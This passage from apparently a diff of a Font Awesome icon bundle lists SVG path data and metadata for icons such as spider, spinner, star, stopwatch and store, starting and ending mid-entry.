32H96v128H80V32c-26.51 0-48 28.654-48 64v64c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v16c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v64c0 35.346 21.49 64 48 64V352h16v128h.003c123.4 0 133.154-105.747 279.997-136H169.606c6.135-4.022 11.768-9.445 16.72-16H472c43.777 0 87.735-8.836 120.604-24.244C622.282 289.845 640 271.992 640 256s-17.718-33.845-47.396-47.756zM488 296a8 8 0 0 1-8-8v-64a8 8 0 0 1 8-8c31.909 0 31.942 80 0 80z" ], + "spell-check": [ 576, 512, [], "f891", "M272 256h91.36c43.2 0 82-32.2 84.51-75.34a79.82 79.82 0 0 0-25.26-63.07 79.81 79.81 0 0 0 9.06-44.91C427.9 30.57 389.3 0 347 0h-75a16 16 0 0 0-16 16v224a16 16 0 0 0 16 16zm40-200h40a24 24 0 0 1 0 48h-40zm0 96h56a24 24 0 0 1 0 48h-56zM155.12 22.25A32 32 0 0 0 124.64 0H99.36a32 32 0 0 0-30.48 22.25L.59 235.73A16 16 0 0 0 16 256h24.93a16 16 0 0 0 15.42-11.73L68.29 208h87.42l11.94 36.27A16 16 0 0 0 183.07 256H208a16 16 0 0 0 15.42-20.27zM89.37 144L112 75.3l22.63 68.7zm482 132.48l-45.21-45.3a15.88 15.88 0 0 0-22.59 0l-151.5 151.5-55.41-55.5a15.88 15.88 0 0 0-22.59 0l-45.3 45.3a16 16 0 0 0 0 22.59l112 112.21a15.89 15.89 0 0 0 22.6 0l208-208.21a16 16 0 0 0-.02-22.59z" ], + spider: [ 576, 512, [], "f717", "M151.17 167.35L177.1 176h4.67l5.22-26.12c.72-3.58 1.8-7.58 3.21-11.79l-20.29-40.58 23.8-71.39c2.79-8.38-1.73-17.44-10.12-20.24L168.42.82c-8.38-2.8-17.45 1.73-20.24 10.12l-25.89 77.68a32.04 32.04 0 0 0 1.73 24.43l27.15 54.3zm422.14 182.03l-52.75-79.12a32.002 32.002 0 0 0-26.62-14.25H416l68.99-24.36a32.03 32.03 0 0 0 16.51-12.61l53.6-80.41c4.9-7.35 2.91-17.29-4.44-22.19l-13.31-8.88c-7.35-4.9-17.29-2.91-22.19 4.44l-50.56 75.83L404.1 208H368l-10.37-51.85C355.44 145.18 340.26 96 288 96c-52.26 0-67.44 49.18-69.63 60.15L208 208h-36.1l-60.49-20.17L60.84 112c-4.9-7.35-14.83-9.34-22.19-4.44l-13.31 8.88c-7.35 4.9-9.34 14.83-4.44 22.19l53.6 80.41a32.03 32.03 0 0 0 16.51 12.61L160 256H82.06a32.02 32.02 0 0 0-26.63 14.25L2.69 349.38c-4.9 7.35-2.92 17.29 4.44 22.19l13.31 8.88c7.35 4.9 17.29 2.91 22.19-4.44l48-72h47.06l-60.83 97.33A31.988 31.988 0 0 0 72 418.3V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-73.11l74.08-118.53c-1.01 14.05-2.08 28.11-2.08 42.21C192 399.64 232.76 448 288 448s96-48.36 96-101.43c0-14.1-1.08-28.16-2.08-42.21L456 422.89V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-77.71c0-6-1.69-11.88-4.86-16.96L438.31 304h47.06l48 72c4.9 7.35 14.84 9.34 22.19 4.44l13.31-8.88c7.36-4.9 9.34-14.83 4.44-22.18zM406.09 97.51l-20.29 40.58c1.41 4.21 2.49 8.21 3.21 11.79l5.22 26.12h4.67l25.93-8.65 27.15-54.3a31.995 31.995 0 0 0 1.73-24.43l-25.89-77.68C425.03 2.56 415.96-1.98 407.58.82l-15.17 5.06c-8.38 2.8-12.91 11.86-10.12 20.24l23.8 71.39z" ], + spinner: [ 512, 512, [], "f110", "M304 48c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-48 368c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm208-208c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zM96 256c0-26.51-21.49-48-48-48S0 229.49 0 256s21.49 48 48 48 48-21.49 48-48zm12.922 99.078c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.491-48-48-48zm294.156 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.49-48-48-48zM108.922 60.922c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.491-48-48-48z" ], + splotch: [ 512, 512, [], "f5bc", "M472.29 195.89l-67.06-22.95c-19.28-6.6-33.54-20.92-38.14-38.3L351.1 74.19c-11.58-43.77-76.57-57.13-109.98-22.62l-46.14 47.67c-13.26 13.71-33.54 20.93-54.2 19.31l-71.88-5.62c-52.05-4.07-86.93 44.88-59.03 82.83l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24L24.62 355.4c-20.59 41.25 22.84 84.87 73.49 73.81l69.96-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101.04 7.57 104.45-37.22l4.7-61.86c1.35-17.79 12.8-33.86 30.63-42.99l62-31.74c44.88-22.96 39.59-80.17-8.95-96.79z" ], + "spray-can": [ 512, 512, [], "f5bd", "M224 32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96h128V32zm256 96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-256 32H96c-53.02 0-96 42.98-96 96v224c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V256c0-53.02-42.98-96-96-96zm-64 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zM480 96c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm-96 32c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-96-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 0c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 192c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z" ], + square: [ 448, 512, [], "f0c8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z" ], + "square-full": [ 512, 512, [], "f45c", "M512 512H0V0h512v512z" ], + "square-root-alt": [ 576, 512, [], "f698", "M571.31 251.31l-22.62-22.62c-6.25-6.25-16.38-6.25-22.63 0L480 274.75l-46.06-46.06c-6.25-6.25-16.38-6.25-22.63 0l-22.62 22.62c-6.25 6.25-6.25 16.38 0 22.63L434.75 320l-46.06 46.06c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L480 365.25l46.06 46.06c6.25 6.25 16.38 6.25 22.63 0l22.62-22.62c6.25-6.25 6.25-16.38 0-22.63L525.25 320l46.06-46.06c6.25-6.25 6.25-16.38 0-22.63zM552 0H307.65c-14.54 0-27.26 9.8-30.95 23.87l-84.79 322.8-58.41-106.1A32.008 32.008 0 0 0 105.47 224H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h43.62l88.88 163.73C168.99 503.5 186.3 512 204.94 512c17.27 0 44.44-9 54.28-41.48L357.03 96H552c13.25 0 24-10.75 24-24V24c0-13.26-10.75-24-24-24z" ], + stamp: [ 512, 512, [], "f5bf", "M32 512h448v-64H32v64zm384-256h-66.56c-16.26 0-29.44-13.18-29.44-29.44v-9.46c0-27.37 8.88-53.41 21.46-77.72 9.11-17.61 12.9-38.39 9.05-60.42-6.77-38.78-38.47-70.7-77.26-77.45C212.62-9.04 160 37.33 160 96c0 14.16 3.12 27.54 8.69 39.58C182.02 164.43 192 194.7 192 226.49v.07c0 16.26-13.18 29.44-29.44 29.44H96c-53.02 0-96 42.98-96 96v32c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-32c0-53.02-42.98-96-96-96z" ], + star: [ 576, 512, [], "f005", "M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z" ], + "star-and-crescent": [ 512, 512, [], "f699", "M340.47 466.36c-1.45 0-6.89.46-9.18.46-116.25 0-210.82-94.57-210.82-210.82S215.04 45.18 331.29 45.18c2.32 0 7.7.46 9.18.46 7.13 0 13.33-5.03 14.75-12.07 1.46-7.25-2.55-14.49-9.47-17.09C316.58 5.54 286.39 0 256 0 114.84 0 0 114.84 0 256s114.84 256 256 256c30.23 0 60.28-5.49 89.32-16.32 5.96-2.02 10.28-7.64 10.28-14.26 0-8.09-6.39-15.06-15.13-15.06zm162.99-252.5l-76.38-11.1-34.16-69.21c-1.83-3.7-5.38-5.55-8.93-5.55s-7.1 1.85-8.93 5.55l-34.16 69.21-76.38 11.1c-8.17 1.18-11.43 11.22-5.52 16.99l55.27 53.87-13.05 76.07c-1.11 6.44 4.01 11.66 9.81 11.66 1.53 0 3.11-.36 4.64-1.17L384 335.37l68.31 35.91c1.53.8 3.11 1.17 4.64 1.17 5.8 0 10.92-5.23 9.81-11.66l-13.05-76.07 55.27-53.87c5.91-5.77 2.65-15.81-5.52-16.99z" ], + "star-half": [ 576, 512, [], "f089", "M288 0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6V0z" ], + "star-half-alt": [ 536, 512, [], "f5c0", "M508.55 171.51L362.18 150.2 296.77 17.81C290.89 5.98 279.42 0 267.95 0c-11.4 0-22.79 5.9-28.69 17.81l-65.43 132.38-146.38 21.29c-26.25 3.8-36.77 36.09-17.74 54.59l105.89 103-25.06 145.48C86.98 495.33 103.57 512 122.15 512c4.93 0 10-1.17 14.87-3.75l130.95-68.68 130.94 68.7c4.86 2.55 9.92 3.71 14.83 3.71 18.6 0 35.22-16.61 31.66-37.4l-25.03-145.49 105.91-102.98c19.04-18.5 8.52-50.8-17.73-54.6zm-121.74 123.2l-18.12 17.62 4.28 24.88 19.52 113.45-102.13-53.59-22.38-11.74.03-317.19 51.03 103.29 11.18 22.63 25.01 3.64 114.23 16.63-82.65 80.38z" ], + "star-of-david": [ 464, 512, [], "f69a", "M405.68 256l53.21-89.39C473.3 142.4 455.48 112 426.88 112H319.96l-55.95-93.98C256.86 6.01 244.43 0 232 0s-24.86 6.01-32.01 18.02L144.04 112H37.11c-28.6 0-46.42 30.4-32.01 54.61L58.32 256 5.1 345.39C-9.31 369.6 8.51 400 37.11 400h106.93l55.95 93.98C207.14 505.99 219.57 512 232 512s24.86-6.01 32.01-18.02L319.96 400h106.93c28.6 0 46.42-30.4 32.01-54.61L405.68 256zm-12.78-88l-19.8 33.26L353.3 168h39.6zm-52.39 88l-52.39 88H175.88l-52.39-88 52.38-88h112.25l52.39 88zM232 73.72L254.79 112h-45.57L232 73.72zM71.1 168h39.6l-19.8 33.26L71.1 168zm0 176l19.8-33.26L110.7 344H71.1zM232 438.28L209.21 400h45.57L232 438.28zM353.29 344l19.8-33.26L392.9 344h-39.61z" ], + "star-of-life": [ 480, 512, [], "f621", "M471.99 334.43L336.06 256l135.93-78.43c7.66-4.42 10.28-14.2 5.86-21.86l-32.02-55.43c-4.42-7.65-14.21-10.28-21.87-5.86l-135.93 78.43V16c0-8.84-7.17-16-16.01-16h-64.04c-8.84 0-16.01 7.16-16.01 16v156.86L56.04 94.43c-7.66-4.42-17.45-1.79-21.87 5.86L2.15 155.71c-4.42 7.65-1.8 17.44 5.86 21.86L143.94 256 8.01 334.43c-7.66 4.42-10.28 14.21-5.86 21.86l32.02 55.43c4.42 7.65 14.21 10.27 21.87 5.86l135.93-78.43V496c0 8.84 7.17 16 16.01 16h64.04c8.84 0 16.01-7.16 16.01-16V339.14l135.93 78.43c7.66 4.42 17.45 1.8 21.87-5.86l32.02-55.43c4.42-7.65 1.8-17.43-5.86-21.85z" ], + "step-backward": [ 448, 512, [], "f048", "M64 468V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12v176.4l195.5-181C352.1 22.3 384 36.6 384 64v384c0 27.4-31.9 41.7-52.5 24.6L136 292.7V468c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12z" ], + "step-forward": [ 448, 512, [], "f051", "M384 44v424c0 6.6-5.4 12-12 12h-48c-6.6 0-12-5.4-12-12V291.6l-195.5 181C95.9 489.7 64 475.4 64 448V64c0-27.4 31.9-41.7 52.5-24.6L312 219.3V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12z" ], + stethoscope: [ 512, 512, [], "f0f1", "M447.1 112c-34.2.5-62.3 28.4-63 62.6-.5 24.3 12.5 45.6 32 56.8V344c0 57.3-50.2 104-112 104-60 0-109.2-44.1-111.9-99.2C265 333.8 320 269.2 320 192V36.6c0-11.4-8.1-21.3-19.3-23.5L237.8.5c-13-2.6-25.6 5.8-28.2 18.8L206.4 35c-2.6 13 5.8 25.6 18.8 28.2l30.7 6.1v121.4c0 52.9-42.2 96.7-95.1 97.2-53.4.5-96.9-42.7-96.9-96V69.4l30.7-6.1c13-2.6 21.4-15.2 18.8-28.2l-3.1-15.7C107.7 6.4 95.1-2 82.1.6L19.3 13C8.1 15.3 0 25.1 0 36.6V192c0 77.3 55.1 142 128.1 156.8C130.7 439.2 208.6 512 304 512c97 0 176-75.4 176-168V231.4c19.1-11.1 32-31.7 32-55.4 0-35.7-29.2-64.5-64.9-64zm.9 80c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" ], + "sticky-note": [ 448, 512, [], "f249", "M312 320h136V56c0-13.3-10.7-24-24-24H24C10.7 32 0 42.7 0 56v400c0 13.3 10.7 24 24 24h264V344c0-13.2 10.8-24 24-24zm129 55l-98 98c-4.5 4.5-10.6 7-17 7h-6V352h128v6.1c0 6.3-2.5 12.4-7 16.9z" ], + stop: [ 448, 512, [], "f04d", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z" ], + "stop-circle": [ 512, 512, [], "f28d", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm96 328c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16v160z" ], + stopwatch: [ 448, 512, [], "f2f2", "M432 304c0 114.9-93.1 208-208 208S16 418.9 16 304c0-104 76.3-190.2 176-205.5V64h-28c-6.6 0-12-5.4-12-12V12c0-6.6 5.4-12 12-12h120c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-28v34.5c37.5 5.8 71.7 21.6 99.7 44.6l27.5-27.5c4.7-4.7 12.3-4.7 17 0l28.3 28.3c4.7 4.7 4.7 12.3 0 17l-29.4 29.4-.6.6C419.7 223.3 432 262.2 432 304zm-176 36V188.5c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12V340c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z" ], + "stopwatch-20": [ 448, 512, [], "e06f", "M398.5,190.91l.59-.61,26.59-26.58a16,16,0,0,0,0-22.63L403,118.41a16,16,0,0,0-22.63,0l-24.68,24.68A206.68,206.68,0,0,0,256,98.5V64h32a16,16,0,0,0,16-16V16A16,16,0,0,0,288,0H160a16.05,16.05,0,0,0-16,16V48a16.05,16.05,0,0,0,16,16h32V98.5A207.92,207.92,0,0,0,16.09,297.57C12.64,411.5,106.76,510.22,220.72,512,337.13,513.77,432,420,432,304A206,206,0,0,0,398.5,190.91ZM204.37,377.55a8.2,8.2,0,0,1,8.32,8.07v22.31a8.2,8.2,0,0,1-8.32,8.07H121.52a16.46,16.46,0,0,1-16.61-17.62c2.78-35.22,14.67-57.41,38.45-91.37,20.42-29.19,27.1-37.32,27.1-62.34,0-16.92-1.79-24.27-12.21-24.27-9.39,0-12.69,7.4-12.69,22.68v5.23a8.2,8.2,0,0,1-8.33,8.07h-24.9a8.2,8.2,0,0,1-8.33-8.07v-4.07c0-27.3,8.48-60.24,56.43-60.24,43,0,55.57,25.85,55.57,61,0,35.58-12.44,51.21-34.35,81.31-11.56,15-24.61,35.57-26.41,51.2ZM344,352.32c0,35.16-12.3,63.68-57.23,63.68C243.19,416,232,386.48,232,352.55V247.22c0-40.73,19.58-63.22,56.2-63.22C325,184,344,206.64,344,245.3ZM287.87,221.73c-9.41,0-13.23,7.5-13.23,20V357.68c0,13.11,3.59,20.59,13.23,20.59s13-8,13-21.27V241.06C300.89,229.79,297.88,221.73,287.87,221.73Z" ], + store: [ 616, 512, [], "f54e", "M602 118.6L537.1 15C531.3 5.7 521 0 510 0H106C95 0 84.7 5.7 78.9 15L14 118.6c-33.5 53.5-3.8 127.9 58.8 136.4 4.5.6 9.1.9 13.7.9 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18.1 20.1 44.3 33.1 73.8 33.1 4.7 0 9.2-.3 13.7-.9 62.8-8.4 92.6-82.8 59-136.4zM529.5 288c-10 0-19.9-1.5-29.5-3.8V384H116v-99.8c-9.6 2.2-19.5 3.8-29.5 3.8-6 0-12.1-.4-18-1.2-5.6-.8-11.1-2.1-16.4-3.6V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32V283.2c-5.4 1.6-10.8 2.9-16.4 3.6-6.1.8-12.1 1.2-18.2 1.2z" ], + "store-alt": [ 640, 512, [], "f54f", "M320 384H128V224H64v256c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V224h-64v160zm314.6-241.8l-85.3-128c-6-8.9-16-14.2-26.7-14.2H117.4c-10.7 0-20.7 5.3-26.6 14.2l-85.3 128c-14.2 21.3 1 49.8 26.6 49.8H608c25.5 0 40.7-28.5 26.6-49.8zM512 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h-64v272z" ], + "store-alt-slash": [ 640, 512, [], "e070", "M17.89,123.62,5.51,142.2c-14.2,21.3,1,49.8,26.59,49.8h74.26ZM576,413.42V224H512V364L384,265V224H330.92l-41.4-32H608c25.5,0,40.7-28.5,26.59-49.8l-85.29-128A32.18,32.18,0,0,0,522.6,0H117.42A31.87,31.87,0,0,0,90.81,14.2l-10.66,16L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.81l19.64-25.26a16,16,0,0,0-2.81-22.45ZM320,384H128V224H64V480a32,32,0,0,0,32,32H352a32,32,0,0,0,32-32V406.59l-64-49.47Z" ], + "store-slash": [ 640, 512, [], "e071", "M121.51,384V284.2a119.43,119.43,0,0,1-28,3.8,123.46,123.46,0,0,1-17.1-1.2,114.88,114.88,0,0,1-15.58-3.6V480c0,17.7,13.59,32,30.4,32H505.75L348.42,384Zm-28-128.09c25.1,0,47.29-10.72,64-27.24L24,120.05c-30.52,53.39-2.45,126.53,56.49,135A95.68,95.68,0,0,0,93.48,255.91ZM602.13,458.09,547.2,413.41V283.2a93.5,93.5,0,0,1-15.57,3.6,127.31,127.31,0,0,1-17.29,1.2,114.89,114.89,0,0,1-28-3.8v79.68L348.52,251.77a88.06,88.06,0,0,0,25.41,4.14c28.11,0,53-13,70.11-33.11,17.19,20.11,42.08,33.11,70.11,33.11a94.31,94.31,0,0,0,13-.91c59.66-8.41,88-82.8,56.06-136.4L521.55,15A30.1,30.1,0,0,0,495.81,0H112A30.11,30.11,0,0,0,86.27,15L76.88,30.78,43.19,3.38A14.68,14.68,0,0,0,21.86,6.19L3.2,31.45A16.58,16.58,0,0,0,5.87,53.91L564.81,508.63a14.69,14.69,0,0,0,21.33-2.82l18.66-25.26A16.58,16.58,0,0,0,602.13,458.09Z" ], + stream: [ 512, 512, [], "f550", "M16 128h416c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H16C7.16 32 0 39.16 0 48v64c0 8.84 7.16 16 16 16zm480 80H80c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm-64 176H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16z" ], + "street-view": [ 512, 512, [], "f21d", "M367.9 329.76c-4.62 5.3-9.78 10.1-15.9 13.65v22.94c66.52 9.34 112 28.05 112 49.65 0 30.93-93.12 56-208 56S48 446.93 48 416c0-21.6 45.48-40.3 112-49.65v-22.94c-6.12-3.55-11.28-8.35-15.9-13.65C58.87 345.34 0 378.05 0 416c0 53.02 114.62 96 256 96s256-42.98 256-96c0-37.95-58.87-70.66-144.1-86.24zM256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-64 192v96c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-96c17.67 0 32-14.33 32-32v-96c0-26.51-21.49-48-48-48h-11.8c-11.07 5.03-23.26 8-36.2 8s-25.13-2.97-36.2-8H208c-26.51 0-48 21.49-48 48v96c0 17.67 14.33 32 32 32z" ], + strikethrough: [ 512, 512, [], "f0cc", "M496 224H293.9l-87.17-26.83A43.55 43.55 0 0 1 219.55 112h66.79A49.89 49.89 0 0 1 331 139.58a16 16 0 0 0 21.46 7.15l42.94-21.47a16 16 0 0 0 7.16-21.46l-.53-1A128 128 0 0 0 287.51 32h-68a123.68 123.68 0 0 0-123 135.64c2 20.89 10.1 39.83 21.78 56.36H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-180.24 96A43 43 0 0 1 336 356.45 43.59 43.59 0 0 1 292.45 400h-66.79A49.89 49.89 0 0 1 181 372.42a16 16 0 0 0-21.46-7.15l-42.94 21.47a16 16 0 0 0-7.16 21.46l.53 1A128 128 0 0 0 224.49 480h68a123.68 123.68 0 0 0 123-135.64 114.25 114.25 0 0 0-5.34-24.36z" ], + stroopwafel: [ 512, 512, [], "f551", "M188.12 210.74L142.86 256l45.25 45.25L233.37 256l-45.25-45.26zm113.13-22.62L256 142.86l-45.25 45.25L256 233.37l45.25-45.25zm-90.5 135.76L256 369.14l45.26-45.26L256 278.63l-45.25 45.25zM256 0C114.62 0 0 114.62 0 256s114.62 256 256 256 256-114.62 256-256S397.38 0 256 0zm186.68 295.6l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-28.29-28.29-45.25 45.25 33.94 33.94 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-33.94-33.94-45.26 45.26 28.29 28.29c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0L256 414.39l-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l28.29-28.29-45.25-45.26-33.94 33.94 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 33.94-33.94-45.25-45.25-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0L69.32 295.6c-3.12-3.12-3.12-8.19 0-11.31L97.61 256l-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l28.29 28.29 45.25-45.26-33.94-33.94-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 33.94 33.94 45.26-45.25-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0L256 97.61l28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-28.29 28.29 45.26 45.25 33.94-33.94-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-33.94 33.94 45.25 45.26 28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31L414.39 256l28.29 28.28a8.015 8.015 0 0 1 0 11.32zM278.63 256l45.26 45.25L369.14 256l-45.25-45.26L278.63 256z" ], + subscript: [ 512, 512, [], "f12c", "M496 448h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 352h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z" ], + subway: [ 448, 512, [], "f239", "M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zM200 232V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm200 0V120c0-13.255-10.745-24-24-24H272c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm-48 56c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm-256 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z" ], + suitcase: [ 512, 512, [], "f0f2", "M128 480h256V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v400zm64-384h128v32H192V96zm320 80v256c0 26.5-21.5 48-48 48h-48V128h48c26.5 0 48 21.5 48 48zM96 480H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h48v352z" ], + "suitcase-rolling": [ 384, 512, [], "f5c1", "M336 160H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h16v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h128v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h16c26.51 0 48-21.49 48-48V208c0-26.51-21.49-48-48-48zm-16 216c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zM144 48h96v80h48V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v80h48V48z" ], + sun: [ 512, 512, [], "f185", "M256 160c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm246.4 80.5l-94.7-47.3 33.5-100.4c4.5-13.6-8.4-26.5-21.9-21.9l-100.4 33.5-47.4-94.8c-6.4-12.8-24.6-12.8-31 0l-47.3 94.7L92.7 70.8c-13.6-4.5-26.5 8.4-21.9 21.9l33.5 100.4-94.7 47.4c-12.8 6.4-12.8 24.6 0 31l94.7 47.3-33.5 100.5c-4.5 13.6 8.4 26.5 21.9 21.9l100.4-33.5 47.3 94.7c6.4 12.8 24.6 12.8 31 0l47.3-94.7 100.4 33.5c13.6 4.5 26.5-8.4 21.9-21.9l-33.5-100.4 94.7-47.3c13-6.5 13-24.7.2-31.1zm-155.9 106c-49.9 